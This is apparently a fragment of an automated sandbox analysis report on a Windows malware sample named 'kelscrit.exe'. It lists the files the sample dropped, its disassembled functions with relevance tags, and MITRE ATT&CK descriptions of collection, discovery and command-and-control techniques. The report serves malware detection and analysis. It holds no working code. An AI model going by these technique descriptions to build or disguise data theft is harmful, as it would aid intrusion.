C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Assureringer69.udv

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Domspraksisene.fur

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Nesokia.Hyp

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\serow.kar

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Windows Analysis Report
kelscrit.exe

Function 00403552 Relevance: 84.5, APIs: 32, Strings: 16, Instructions: 464
stringfilecomCOMMON

Function 0040573B Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Function 00405C83 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 00403FF7 Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Function 00403C49 Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 004030A2 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 181
memoryCOMMON

Function 004065B4 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 204
stringCOMMON

Function 004032D9 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 166
COMMON

Function 00401794 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 004055FC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Function 00402711 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 004068FB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
libraryCOMMON

Function 00402ECE Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Function 6F951817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004024AF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre